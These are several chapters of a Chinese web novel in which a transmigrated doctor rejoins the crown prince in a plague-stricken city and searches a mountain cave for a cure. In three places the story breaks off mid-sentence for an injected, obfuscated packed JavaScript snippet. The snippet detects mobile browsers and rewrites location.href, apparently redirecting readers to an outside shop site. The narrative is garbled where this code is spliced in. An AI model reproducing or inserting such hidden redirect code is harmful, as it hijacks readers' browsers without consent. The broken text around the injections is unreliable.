曹州本地官员早已不知被渗透到何种地步,怕是没几个能信得过的。 她不知道萧长离是否已经公开身份,所以谨慎地没有直接说要见太子。 士兵们面面相觑,显然有些迟疑。 毕竟,谁会相信太子妃会独自一人出现在城外? “请贵人稍候,卑职这便去禀报。”说话的是个年轻士兵,他朝同伴使了个眼色,随即转身从侧面一扇仅供单人通行的小门钻入城中。 其余士兵仍没有放下长枪,枪尖始终对着林若华。 她并不在意这些,只是目光急切地盯着那扇侧门。 不多时,侧门被重重推开。 抢先冲出来的却并非方才的年轻士兵,而是一个再熟悉不过的高大身影。 他看到林若华的瞬间,便忍不住兴奋地大喊起来:“太子妃娘娘,真的是您!” 凌北飞奔而来,甚至顾不上礼节,他身后的士兵小跑着才能勉强跟上。 “凌北!”林若华也朝他挥手,见到熟悉的面孔后,她才终于反应过来,有了劫后余生的庆幸。 守卫士兵们见状,连忙放下长枪,移开沉重的栅栏。 凌北在林若华身前急停,上下仔细打量她,见她虽然狼狈,但精神尚可,身上也无明显外伤,这才放下心来,激动道:“太好了,太子妃娘娘您平安无事!这些日子,太子殿下都快急疯了。殿下找遍了曹州城内外,差点掘地三尺。” 林若华点点头,急切问道:“我没事。殿下怎么样?苏南呢?其他人呢?” 她注意到凌北脸上也蒙着白布。 凌北闻言,眼中的迟疑一闪而过。 即使隔着那层白布,林若华也能从眼神中猜到,此刻他的脸色一定很难看。 他侧身让开道路,低声道:“此事一言难尽。娘娘,您快随卑职进城吧,殿下就在城内。” 难道是萧长离和苏南他们出了事? 林若华不敢再细想:“好,你带路。” 她不再多问,快步跟着凌北穿过侧门。 眼前的景象令林若华脚步一顿。 街道上空旷寂寥,家家户户门窗紧闭,几乎看不到寻常百姓。 一些在洪水中垮塌的房屋废墟尚未清理,旁边搭着简陋的帐篷。 偶尔有行人经过,也是低着头脚步匆匆。 无论是巡逻的士兵,还是必须外出的百姓,每个人脸上都蒙着白布。 整座城死气沉沉。 凌北一边带路,一边解释:“两日前,城里就开始有人发热,起初以为是受寒。唯有殿下当机立断,下令封城,严禁内外出入。后来倒下的人越来越多,我们才知道是疫病。疫情蔓延极快,卑职原本安排太子殿下离开,可殿下说什么也不肯走。现在,连不少大夫自己都病倒了。” 林若华面色愈发凝重。 凌北继续说道:“曹州本地的药铺早就被抢购一空,周边州县自身也因洪水遭了殃,听闻曹州闹瘟疫,也不肯运药进来。殿下已动用诏书和兵符从远处调拨,但路途遥远,运输尚需时日。” 谈话间,两人已来到一处府邸前。 这里守卫更加森严,门前有数十名士兵把守。 他们显然认得凌北,见到他亲自引领,便未加阻拦,沉默地让开道路。 林若华抬头一看,大门上悬挂的“曹州州治”匾额。 就在凌北与林若华跨入大堂时,两名士兵正拖着一个血淋淋的人从里面出来。 那人好像已经失去意识,没有发出半点声响,只在地上留下一道长长的血痕。 大堂两侧一共站着六个穿着官服的人,但林若华一个都不认识。 正中央,一位身穿黑色锦衣的男子正背对他们负手而立。 “殿下!快看,这是谁来了?”凌北兴奋地嚷道。 男子闻言转身。 “长离!”林若华绽放出笑意,眼中泛起泪光。 这段时日的担忧、恐惧、思念,在这一刻全部涌上心头。 萧长离脸上的戾气还未褪去,不过二十余日不见,他瘦了一大圈,眼下还带着青色。 当他的目光落在林若华脸上时,先是双眼微微放大,难以置信地愣怔。继而化为无法掩饰的狂喜:“你没事,你真的回来了!” 但这份喜悦只持续了一瞬,他的眉头便紧紧皱起,疾声道:“你现在怎么能回来?凌北!立刻安排,护送太子妃出城,返回京城,现在就走!” 他的语气是前所未有的严厉,甚至带着一丝恐慌。 “你们都在这儿,我怎么能一个人走?”林若华脸上还带着重逢的喜悦,就听到萧长离要送她走,当即拒绝。 萧长离稳了稳心神,目光扫过堂内噤若寒蝉的众人,挥手道:“今日暂且到此。你们都下去吧,按方才议定的去办。凌北,你也先出去。” “是。”众人依言退下,大堂内只剩下他们两人。 萧长离快步上前,一把抓住林若华的手腕。 他握得很紧,一言不发地拉着林若华穿过大堂,走进后面的内堂。 内堂比外面暖和些,关上门,萧长离这才松开手,站在林若华面前,深深凝视着她,想要确认这不是连日夜深梦回时的幻影。 良久,他低声道:“还好你没事。太好了,真是太好了。我派人在曹州城和周边搜寻了二十日,翻遍了每一处地方,都没有你。我就知道,你一定会平安无事。” 萧长离在庆幸,他生怕找到的是林若华的尸体。 他没有说,这二十个日夜,是如何煎熬。 每当闭上眼,就是洪水滔天,就是她落入洪水的画面。 萧长离总在噩梦中惊醒,梦中是她不断死去的场景,从高处坠落摔得血肉模糊,被洪水冲走找到时已不成人形,甚至是被政敌所擒,受尽折磨。 每一次,他都伸手去抓,每一次,掌中都空空如也。 还好,上天又眷顾了他一次。 林若华看着他消瘦的脸颊,心头发酸。 她将小木箱放在一旁的小桌上,拉住萧长离的手坐下,两人中间隔着一张茶几。 “我没什么事,关键是你这边出了大事。我被吴锋他们抓到了归德府的山村里。你当然找不到我。吴锋是前朝的人,他的父亲是前朝太子左内率吴平。” 估计吴平也没有想到,林若华一见萧长离,就把他的事抖了个干净。 “吴锋?吴平?”萧长离眼神一凛,那抹刚刚消散的戾气重新聚拢来,“想不到藏得如此之深。洪水那日,吴锋与他同乘一马的禁军便一同失踪,当时只道是遭遇不测或被冲散,还派人搜寻过。原来是有意脱身。” 他冷笑一声:“怕是那时就已设好了局。吴锋假意落单,是想寻找机会行刺。即便不成,他日想重回到队伍中,也可借口被水冲散,蒙混过关。与他同行的禁军,恐怕已遭吴锋毒手。” “吴锋不在你身边,那封信你肯定也没收到。”林若华拎起茶壶,给自己和萧长离各倒了一杯茶水。 一路奔跑,又处于恐慌中,即便在腊月的天气里她也出了一层薄汗,此时渴得厉害,也顾不得茶早已凉透,端起来就喝了一大口。 “什么信?”萧长离没有喝茶,目光仍停留在林若华身上,一刻也不肯移开。 “一封英文信,只写了一个词,Trap。” 陷阱。 当时她已经察觉不对,故意编造了一个联系方式,如果阿实他们可靠,就会回来告诉她联系不上。 可那封信竟然顺利寄出了,还领回来一个人。 林若华放下茶杯,开始讲述连日来的遭遇。 “破绽实在太多了。溺水者通常会有肺部感染等症状。如果我真的是长时间溺水,身体不可能恢复得那么快,症状不会那么轻,才两天就能下地行走。我应该是被下了安眠药之类的药物。” “我只问了曹州离我有多远,阿实就直接说我是从曹州飘到归德府的,他太着急了。” “我觉得我的演技又进步了,他们都没识破我在将计就计。” “吴平告诉我,我是前朝羲和太子的女儿,他叫我郡主。说你也知情。” 林若华慢慢对萧长离说起,从她醒来发现自己身处陌生山村,到被吴平护送回曹州城外。 可说了这么久,萧长离却一句话都没有回应,他只是静静听着。 “长离?长离!”林若华伸出手,在萧长离眼前晃了晃。 萧长离闭了闭眼,复又睁开, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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萧长离拿起茶杯,却没有饮下一口:“苏南那日受伤,伤口浸了污水,后来感染发热,情况一度危险。幸好还有几支青霉素未曾遗失,给她用上之后,烧退了,伤势也开始好转,只是需要时间静养。可她是个倔脾气,稍好一点就硬撑着要去找你,凌北拦不住,她出城去了,尚未归来。不过你放心,凌北应当去通知她你回来的消息。” 听到苏南脱离危险,林若华悬着的心放下大半。 “曹州的官员我处理了不少,任来凤在帮忙处理曹州事务,官场瘫痪,疫病横行,他已经两天两夜没合眼,方才我让人强行押他去休息,刚睡下了。” 林若华嘴角忍不住抽了抽,任来凤怕不是睡下,是昏过去了吧,真是难为他了,不过,说不定他也是乐在其中呢,这是忠臣的操守。 “至于叶景谦,是个没用的,感染了瘟疫,被隔离了。” 萧长离不信任叶景谦,不仅在调查曹州官员时便让他独行,林若华出事后,就更加怀疑,因此第一时间派叶景谦去处理洪水后的尸体,感染瘟疫也是自然而然的事,不过这些,他没有对林若华说。 “眼下最重要的就是瘟疫,叶景谦都感染了,看来疫情真的严重。你连面巾都不戴,太危险了。”林若华不赞同地看着萧长离。 “面巾?”萧长离轻轻摇头,“你我都知道,那个根本没用。我已经派人去找水玉镜了。” 水玉镜就是原剧里的女主,药王谷出身,医术高明。 剧本里并没有提到曹州瘟疫具体是什么病,只说是水玉镜出现后治好了。 可现在水玉镜连个影子都没有,说不定还没下青山,根本不知道曹州发生了瘟疫,远水救不了近火。 “我去吧。让我去看看病患,检查一下,确定是哪种瘟疫,才知道怎么对症治疗。”林若华提议。 “不准去,太危险了,你不准去。”萧长离想也没想,直接拒绝。 “我是医生!这是我的职责,也是我现在唯一能帮上忙的地方。”林若华毫不退让。 “你有执业医师资格证吗?”萧长离知道很难说服她,忽然问了一个令林若华猝不及防的问题。 “你非得现在说这个吗?这都什么时候了?”林若华炸毛。 她实习没多久就转行了,确实没有考取资格证。 “我读书的时候,专业课年年第一,我处理过外伤,救治过急症。” 林若华还想继续举证,就听萧长离轻声说:“我知道。” “你知道?”林若华诧异。她以前应该没说过这些。 “因为……” 话音未落,茶杯“哐当”一声掉落,茶水洒了一桌。 萧长离已经闭上了双眼,整个人向一侧歪倒。 “长离!”林若华连忙扶住他,伸手摸他的额头,烫得吓人。 是发烧。 糟了! 53. 寻找 “凌北!” 林若华大声呼喊,同时小心翼翼地扶着萧长离,让他慢慢靠回椅子上。 萧长离胸口起伏得厉害,呼吸又急又粗,热气砸在林若华的脸上,林若华只觉脸颊炽热无比。 凌北闻声推门冲了进来,看到眼前情景,脸色大变,三步并作两步,扑到两人身前:“太子殿下!太子妃娘娘,殿下这是?” 林若华强迫自己冷静下来,对凌北说道:“他发烧了,先帮我把他扶到榻上去。” 凌北立即上前,两人一左一右搀扶着已经陷入昏迷的萧长离,合力将他扶到卧榻上。 凌北为他脱去靴子,林若华则迅速拿起一旁桌上的小木箱,打开取出温度计。 温度计是萧长离找能人异士做的,没想到第一次就用到他自己身上。 林若华拉开萧长离的衣襟,得到测量的结果很不妙。 四十度。 这么高的体温,他竟然还能强撑着和她说了那么久的话。 来不及多想,林若华快速检查萧长离的其他症状。 呼吸急促。 淋巴结肿大、红肿。 林若华轻轻触摸,萧长离便不自觉皱起眉头。 有明显的疼痛感。 凌北忍不住开口:“太子妃娘娘,殿下他难道是……” 林若华打断他:“你先帮我找冷水和帕子来给殿下降温。” 凌北点头,转身疾步离去。 不一会儿,他端着一盆凉水和几条干净的帕子回来了。 林若华将帕子在盆中浸湿,拧干,敷在萧长离滚烫的额头上。 “殿下今天有什么不对吗?”林若华一边用另一条帕子擦拭萧长离的脖颈,一边问道。 凌北回忆着:“昨日下午殿下还在处理公务,当时面色就有些不好。我问他,他只说连日来太累,休息一下便好。今早他起得比往常都早,连午膳都没用,就继续处理那些堆积如山的公文。我劝他歇息,他说耽搁不得。” 林若华的眉头越来越紧:“染病的其他人是什么症状?” 凌北的声音低沉下来:“都是高热不退、恶心呕吐、浑身乏力,最后陷入昏迷。已经有五百余人被隔离起来,可药物紧缺,大夫们也无计可施。而且……” 他顿了顿,道,“已有一百五十余人死亡了。” 林若华的手停了下来。 两日前才开始爆发的疫病,已经死了这么多人。 她明白,萧长离已经第一时间调兵封城,组织人手处理尸体,又隔离病患,可瘟疫还是抑制不住,蔓延开来。 而他自己,终究也没能逃过这场劫难。 “是鼠疫。”林若华无奈闭上双眼。 鼠疫在这个时代就是绝症。 治疗需要链霉素,可链霉素不是这个时代能做出来的东西。 那么水玉镜是怎么治好的?剧本里明明写着她用草药控制了疫情。 只能是这个世界特有的药物了。 林若华睁开眼睛:“凌北,朝廷没有运送药材以及派太医吗?” 凌北苦笑:“朝廷的粮食和衣物倒是早运到了,可殿下请求派发的太医和药材却迟迟未至。瘟疫爆发后,殿下已经再次加急发信去京城,可已是远水救不了近火。所以殿下才会想办法从周边州府调拨,可邻近州府也都推诿搪塞,生怕瘟疫传入自己地界。” 不用凌北详细解释,林若华也能猜到,药材和太医怕是因朝堂争斗才被扣下。 都这个时候了,那些人还只想着争权夺利,置百姓于不顾。 “曹州城里一点药都没有了吗?”林若华轻声问道,手中的帕子却攥得更紧。 凌北长叹一声:“原本有些药商囤积药材,哄抬价格,不肯出售,殿下发现后将他们抓了起来,还杀了两个以儆效尤,现在库房里是真的没药了。” 就算有,恐怕也没什么用。 凌北的脸色更加沉重,压低声音道:“还有一事,太子妃娘娘。殿下感染瘟疫的消息绝不能透露出去。那日洪水后,殿下调兵下令抢救灾民,自己则是亲自带人寻找太子妃娘娘您。遍寻不着,却在周边的县城抓住了田有方及其家眷。” 他停顿了一下,继续道:“殿下震怒,当场屠了田有方满门。此外,还以渎职、贪腐之罪斩了曹州大半官员,又杀了一批趁乱抢夺财物的暴民。如今城中人心惶惶,若透露出殿下患病,怕有心之人会趁机作乱,局势将一发不可收拾。” 一旦太子倒下的消息传开,那些被压制的地方势力以及潜伏的前朝细作,甚至朝中的政敌都可能趁机发难。 见林若华沉默不语,凌北以为她对那些杀戮心存不忍,连忙解释:“就算殿下不动手,田有方谋害太子殿下,按律也是夷三族的大罪。回到京城,他父亲田既明也逃不过清算。” 林若华抬起头,目光复杂:“我没有可怜罪魁祸首的意思。我只是在想,我们不能坐以待毙,还没到找到水玉镜,对吗?” “是的。”凌北无奈地摇头,“手下人带着画像四处寻找,几乎翻遍了曹州城及周边村镇,可始终没有找到那名女子。” 林若华又转头看向榻上的萧长离。 瘟疫还在蔓延,萧长离倒下了,水玉镜不知何时才能出现。 “你先把太子殿下转移到安全隐蔽的地方,再找个可靠的大夫照看。”林若华站起身。 话音未落,榻上传来断断续续的呢喃声。 林若华俯身贴近去听。 “不、不走……要、要等……” 萧长离在昏迷中紧蹙着眉头,显得十分不安。 林若华轻声回应:“别等了,我去找药。” 陷入昏迷的萧长离,竟一下子伸手抓住了林若华的衣袖,紧紧攥着不肯放开。 “别、别走……别走……” 林若华看着昏睡中的萧长离,心中难受至极,却只能轻轻用力,试图拉下他的手,没有成功。 “凌北。” 凌北上前帮忙,这才将萧长离的手指一根根掰开。 萧长离的眉头皱得更深了。 “太子妃娘娘,这太危险了,太子殿下醒来若知道,绝不会同意您涉险。”凌北听到林若华的打算后,立刻表示反对。 “现在只有赌一把,否则所有人都要完蛋。”林若华抚平自己被攥皱的衣袖,“水玉镜不知身在何处,朝廷的援助遥遥无期。我若不去,就只能眼睁睁看着所有人去死,包括你们。” 凌北深知她说的是事实,可让太子妃独自涉险,他该如何向殿下交代? “那太子妃娘娘准备去哪里找药?”他问道。 林若华 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147895|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知该如何回答,她开始努力回忆剧本中的每一个细节。 凌北看着林若华在内堂中来回走动,走到窗前时停下脚步,目光投向远方。 凌北顺着她的目光望去,那是城西外的一座小山,洪水来袭时,他们正是朝那个方向撤离。 “是那里。”林若华喃喃自语,“水玉镜最开始就是从那里出现的。” 剧本里,女主角第一次出场,就是从山中走下来的。 她药篓里的草药,根部还带着泥土,那么,草药一定是在那座山上采集的。 “可是那座山我们已经搜过,并没有找到殿下让找的人。”凌北提醒道。 “我是去找药,不是去找人,山上可能生长着治疗瘟疫的草药。”林若华转过身对凌北说。 这些日子,林若华也翻阅了这个世界的医书,了解一些本地草药的特性。 或许可以尝试自己搭配其他药草,寻找替代的方案。 凌北知道这希望渺茫,可眼下确实别无选择。 “属下不能离开太子殿下,苏南也尚未归来,只能先让禁军的人护送太子妃娘娘前往。”凌北权衡后说道。 “不行。禁军里有间谍,我之前就是被他们抓走的。现在保不齐里面还有没有漏网之鱼。若让心怀不轨的人知道我独自离城寻药,恐怕半路就会遭遇不测。” 凌北闻言脸色更加难看。 他竟未清除队伍中的奸细,这是他的失职。 林若华思考着可靠的人选。 消息不能透露太多,必须绝对可信。 曹州附近的驻军…… 她突然眼睛一亮,想起一个人来。 “凌北,这次调来的地方驻军中,你认不认识一个叫做水清辉的人?他是兖州守备,你去找他,安排他秘密护送我出城。对外就以护送太子妃回京的名义。” 水清辉是剧中女主水玉镜的兄长,同样也才十六岁,就已当上兖州守备,除去为女主开挂的原因,他自身也十分优秀。 水清辉虽是安乐侯之子,却与朝中各派系都无过多牵连,为人光明磊落,正直可靠,可以信任。 凌北略一思索:“水守备我认得,他这两日一直在维护城中秩序,确实是个可靠之人。” “好,就这么定了。还有,立即下令全城捕杀老鼠,老鼠也是传染疫病的重要途径。感染疫病死亡的人必须深埋,若来不及,就集中火化。” 林若华顿了顿,她知道这个决定会面临巨大阻力。 这个时代讲究土葬,对于火化十分忌讳,也就是所谓的死无全尸。 “如果有人反抗,就用些强硬的手段,毕竟,活人的性命更重要。” 凌北重重点头:“属下明白。” 接下来凌北迅速安排了一切。 一位须发皆白的老大夫被秘密带进府中,接替了林若华照顾萧长离的工作。 临行前,林若华再次来到萧长离榻前。 老大夫正在为他施针缓解症状,萧长离的呼吸平稳了一些。 林若华轻轻握住他的手,低声说道:“等我回来。” 凌北站在门边,面色凝重:“太子妃娘娘,请务必小心。若明日戌时未归,属下会派人前去接应。” 林若华点了点头,最后看了一眼萧长离,转身向门外走去。 54. 上山 曹州城外的寒风阵阵,刮在脸上生疼。 “老大,我就是想不明白。曹州城里城外多少人,凌大人怎的就偏偏点了咱们几个护送太子妃?再说了,这路也不对吧,这可不像是回京的方向啊,咱们怎么往山里扎?”下属终究还是没能忍住,策马凑近水清辉身侧,低声问道。 “别问了,马贵,这不是咱们该议论的。”水清辉目不斜视,并未看他。 马贵偷眼看水清辉的脸色,见他没有真的动怒,这回声音压得更低:“老大,城里眼下乱得很,我就是担心。你说,这事儿是不是有什么不对啊?” 事情实在蹊跷,曹州瘟疫闹得这样凶,他们还未处理完,却被凌北凌大人堵在街上,二话不说塞了这么个差事。 水清辉没应声,其实他也想不明白。 这是他头一回见这位传闻中的太子妃。 只一眼水清辉就明白,太子妃并非普通的金枝玉叶。 从前在京城,他是安乐侯府不受宠的庶子,侯府宴饮没他的席位,宫宴更轮不到他近前。 两人素不相识,可又偏偏选了他。 水清辉其实早就发觉这个方向不对,但他只是握紧缰绳,目视前方。 马贵见自家老大这副模样,讪讪地闭了嘴,只是忍不住又回头瞥了一眼跟在队伍中间的马车。 马车内,林若华正侧身伏在座位上,手里的笔就没停过。 宣纸上画了一棵歪歪扭扭的植物,画了又涂,涂了又画,画着画着,又烦躁地把这张也揉成一团,扔到一边,一旁已经堆了十来个纸团。 光线愈发昏暗,外面的天快黑了。 临行前凌北追到马车边,对林若华劝道,天色已晚,不如明日一早再动身。 林若华摇头拒绝。 萧长离实在是耽搁不起, 无论身处于哪个世界,她见过对方温柔的、平静的、不悦的、阴阳怪气的,却唯独没见过如此虚弱的模样。 越想越是心浮气躁,林若华索性一把掀开车窗帘,冲前方骑马的身影喊道:“水大人。” 水清辉闻声立刻调转马匹,策马靠到马车边:“太子妃娘娘有何吩咐?” 林若华看着这个十六岁的少年,他生得清秀,眉眼间未见半点安乐侯身上那种混吃等死的虚浮,反倒透着一股干净的气质。 “等会儿到了前面的那座山,你们随我上去找几株白绿色的兰花。”林若华说道。 水清辉一怔。 兰花? 他原以为太子妃此行必有机密要事,却没料想到,她竟要在这种时候上山寻兰? 水清辉对花草知之甚少,但好歹也是京城长大的人,怎会不知腊月里寻兰花意味着什么。 这个时节,莫说曹州地界,就是整个北方,也找不出一株野生的兰花。 他想开口劝几句,可抬眼却看见太子妃娘娘靠在车窗边,面容被阴影遮了一半,只露出一双眼睛,里面未见半点说笑的意思。 水清辉把到嘴边的话咽了回去,低头抱拳:“是,末将遵命。” 林若华从水清辉欲言又止的神情里,猜得出对方在想什么。 她也不好明说,收回目光,慢慢放下车窗帘。 水玉镜的药篓里那些治疗瘟疫的草药,外形像兰花,实际上也是兰花。 因为道具老师当时买的就是兰花。 反正镜头只是一晃而过,观众只想看洒狗血,没人会在意背景里的药草到底是花还是草。 她靠回车厢,闭上双眼。 这些天太过惊心动魄,她几乎都快忘记了,这原本是一个古偶剧演化来的世界。 城北的小山离曹州不远,路途不过小半个时辰,可抵达时天已黑透。 一行人连林若华在内共十一人,水清辉是统领,其余九人皆是他的下属,人不多,方便隐藏踪迹。 林若华掀帘下车,清辉快步上前,低声道:“娘娘,夜晚上山恐有闪失。末将带人先行探路,明日一早再上山?” 林若华望向黑夜中那座山,摇头道:“等不及了,兰花应当长在人迹罕至之处,大家分散开来,寻到后不要轻举妄动,立刻告诉我。” 林若华说完,从马贵手中拿过一支火把,径自向山脚走去。 马贵盯着那道消失在林边的背影,实在憋不住了,凑到水清辉身旁嘀咕:“老大,这都什么时候了?曹州城里瘟疫闹得凶,多少事等着咱们呢。太子妃娘娘怎么偏在这节骨眼上让我们进山找什么劳什子兰花。又黑又冷的,连个鬼影都没有,这上哪儿找去?这些贵人,真是不知人间疾苦……” “够了。”水清辉截断他的话,“听太子妃娘娘的。” 他顿了顿,目光看向林若华离去的方向,又道:“大家分头行动。我去追娘娘。若有所发现,鸣哨为号。” “哎,老大——”马贵还想说什么,水清辉已接过旁人递来的火把,追入山林。 马贵挠挠头,到底没敢抗命,叹着气招呼其他人:“走了走了,找兰花去。都机灵点,别走太散,有事就喊,这山里谁知道有什么东西……” 林若华独自走在山道上。 火把只能照亮方寸之地,四周黑压压的,唯有风刮过山间的呜呜声。 她停下脚步,单手从怀里摸出一张地图,翻开凑近火光,就着昏暗的光辨认方向。 这是出发前她专程向凌北要的,地图不但画了山形地貌,连小道岔路都有。 山不高,也不大。 如果真的长着形似兰草的草药,早该被附近的村民采尽了。 地图上,北坡一带地势崎岖,靠近悬崖,少有樵夫猎户踏足。 若有什么东西能在腊月里避过众人悄然生长,只可能在那里。 林若华折起地图,向北上那条岔路迈出脚步。 “太子妃娘娘。” 身后传来急促的脚步声,水清辉追了上来:“娘娘走慢些。这种小山虽无豺狼,但冬夜毒蛇藏于灌木石缝,惊扰了容易伤人。让末将走前面吧。” 林若华点点头,放慢了些步子。 水清辉越过她,举着火把在前引路。 林若华看着他的背影,不禁想到,剧本里,水清辉死在大结局前,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17172781|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时也才十九岁,连一句遗言都未留下。 越往北走,路越窄。 起初还是山道,后来全是在荒草灌木间穿行。 裙摆被钩住,林若华弯腰解开时,手掌被刺划出血,也没吭声,随手在衣裙擦了擦,一边前行,一边翻看灌木石缝。 水清辉看见了,到底没有出声。 四周越来越静,风声也渐渐停了,没有鸟鸣,没有小动物的窸窣声,唯有火把还在劈啪作响。 “太子妃娘娘,”水清辉驻足,“前面没路了,我们回去吧。” 林若华没有回应,越过水清辉,走到崖边,俯下身,探首向下望去。 夜色里一眼望不见底,只有一片漆黑。 林若华死死握紧手中火把,哪里都没有,不在山里,是在悬崖峭壁上吗? 可她怎么能开口让水清辉他们冒险下崖? 她想着昏迷不醒的萧长离,想着曹州城里的百姓,想着水玉镜药篓里的兰花。 “你……”她闭了闭眼,最终还是下定决心,向前走出一步:“你在这里等我。” “得罪了,太子妃娘娘!” 一只手猛地抓住了林若华的手腕,将她拉离崖边,火把脱手,翻滚着落下悬崖。 “末将不能让您冒险。”水清辉皱着眉,显然已经明白了林若华的打算,他虽想不通太子妃到底想做何事,或许有她的理由,但眼下不能让太子妃涉险。 “你先放手。”林若华挣扎起来,水清辉不得已松开了手。 可万万没想到,林若华下意识往后踉跄了几步,脚下的土却突然塌了。 她的身后是一片被荒草掩盖的空地,退得太急,一脚踏在枯草上,草下并不结实。 她甚至来不及惊呼,整个人便往下一沉,消失在水清辉眼前。 “太子妃娘娘!” 林若华听着水清辉的呼喊声,翻滚了好几圈才终于停住。 片刻后,她撑着地面慢慢坐起来,喊道:“我没事。” 也不知对方听到没有。 还好,不是头先着地,骨头也没断,应该没伤到内脏,林若华苦笑地想着。 她开始打量四周,这是一个洞? 洞口在右上方,被枯草覆盖着,隐隐约约透出一点月光。 洞也不大,通道既窄又长,勉强容一个人通行,洞壁十分粗糙,应是天然形成的裂隙,但脚下有人工凿过的痕迹,也许是谁家猎户遗忘的陷阱,年久失用,又被她踩了上去,这才塌了。 林若华慢慢站起来,扶着石壁,一步一步往里走,却忽然停住了,目光紧紧看向前方,有什么东西在黑暗中发着细微的光芒。 是一丛白绿色的兰花,就聚拢在坑洞角落,静静绽放,暗香袭人。 她忘了身上的疼,跌跌撞撞扑过去,左手撑在丛花前,伸出微微颤抖的右手。 手指恰要触到花瓣之时,另一只手突然从暗处伸出,扣住了她的手腕。 林若华:“!” 猛地抬头,黑暗中,一双黑白分明的眼睛正盯着她。 这人不是水清辉! 55. 女主 四周暗得很,唯有洞口漏下的点点月光以及草药散发出的幽幽绿光。 眼睛的主人在一把抓住林若华的手腕后,便再没有动作。 林若华屏住呼吸,丝毫不敢动弹,待适应了黑暗,终于看清眼前之人正是他们苦苦寻找的女主。 “水玉镜?” 对方之前迟迟未开口,听到林若华喊出她的名字,这才疑惑道:“你认识我?你是谁?” “我是……”林若华刚要回答,就听到有脚步声从水玉镜身后传来,伴随着火把的光亮由远及近。 “太子妃娘娘!太子妃娘娘!”是水清辉的声音。 “我在这里。”林若华侧头高声应道,同时感觉到握住自己手腕的那只手又紧了紧。 水玉镜的目光一直留在她脸上,没有移开:“太子妃娘娘?” “对。”林若华点头。 水清辉举着火把大步走来,长长的影子恰好盖在水玉镜与林若华身上。 随着他的走近,火光照亮了整个山洞,也将三个人的面容照得清清楚楚。 林若华下意识地回头看向水玉镜。 水玉镜身为剧中的女主,即便是在这样的环境里,一身布衣风尘仆仆,袖口沾着泥土,发丝沾着露水,也是肌肤胜雪,眉目如画,难掩天姿国色,只是那双眼睛,此刻正带着几分审视看着她。 “你是谁?”水清辉见洞穴里还有其他陌生人,顿时眉头一皱,右手立刻按上腰间剑柄,长剑已出鞘。 “等一下!”林若华赶紧出声阻止,“别动手,水大人,这是你妹妹水玉镜,大家自己人。” “玉镜?”水清辉拔剑的动作顿住,左手的火把又往前送了送。 火光凑近了那女子的脸,那女子也终于转过头,看向来人:“大哥?” 水清辉努力辨认着眼前人的五官。当年那个瘦弱的小姑娘,如今已经长成了亭亭玉立的女子,这眉眼,这轮廓,还有她喊自己大哥时的神情,都与记忆中一模一样。 原本警觉的目光软了下来,化成难以置信的惊喜。 “真的是你,玉镜!”水清辉的眼睛骤然亮了,复又担忧起来:“你怎么会在这里?这深山野林,悬崖峭壁的,太危险了。” “我是来找药草的。”水玉镜嘴角微微扬起,笑容很浅,却让整张脸都生动起来。 她回头看了看角落里的药草,又看向林若华,语气认真:“你不要随便碰,有毒。我刚才抓你手腕,是因为看到你要碰它。叶子只要接触到皮肤,毒素就会渗入。不会立刻致命,但会让你浑身无力,意识模糊,严重的话,甚至会昏迷不醒。” 她说着,慢慢放开了林若华的手腕。 林若华低头看向自己差点碰到那株药草的手,手腕上还有一道红印,是水玉镜刚才握住的地方,后知后觉地感到一阵后怕。 “原来是这样,多谢水小姐。”林若华暗自庆幸,还好遇到了女主,不然她可能就要莫名其妙地中毒了。 她知晓现在不是感慨的时候,连忙说正事:“我们也是来找药草的。水小姐,曹州发了洪水,不久前又爆发了瘟疫,城里的百姓急需这味药救命。” 她顿了顿,看着水玉镜的眼睛:“我们找了你很久。你知道治疗瘟疫的药方吧?” 水清辉听到这话,微微一怔,这才明白太子妃的打算,宁愿自己被人误解,也要冒着危险亲自上山,看向林若华的眼神里多了几分敬佩。 话音刚落,林若华就察觉出不对,她与水玉镜素未谋面,如果水玉镜问她,她还真不知该如何解释。 还好,水玉镜没有问林若华为什么会知道这些。 她缓缓点了点头,说:“我的确知道药方。先让我把药草采了我们出去后再慢慢说。” “好。”林若华松了一口气,随后站了起来。 水玉镜转身取下背后的药篓,从里面拿出一副棉布做的手套和一把小巧的药锄。 她戴上手套,用小药锄轻轻刨开药草根部的泥土,动作熟练。 水清辉也站在一旁,举着火把为妹妹照亮,他看着水玉镜的动作,嘴角始终带着温和的笑意。 林若华看着这对兄妹,也知道,水清辉和水玉镜是侯府的庶出子女,生母皆早逝,在侯府里也不受宠。幼年时,兄妹俩相依为命,互相照顾,直到后来水玉镜离家学医。 原本该在京城中重逢,剧情改变后,再见面竟是在这山野洞中。 不多时,水玉镜便采好了所有的药草,小心翼翼地放进药篓,这才摘下手套,站起身来。 “我来背药篓出去吧。”水清辉主动开口,伸手去接药篓。 “不用。”水玉镜摇了摇头,将药篓背在身上,“我这大半个月在这悬崖上上下下,已经很熟悉了。” 水清辉犹豫了一下,看向林若华:“太子妃娘娘,外面是悬崖峭壁,攀爬起来有些危险。不如你们先在这里等着,我带人回来,天亮后再来接你们。” 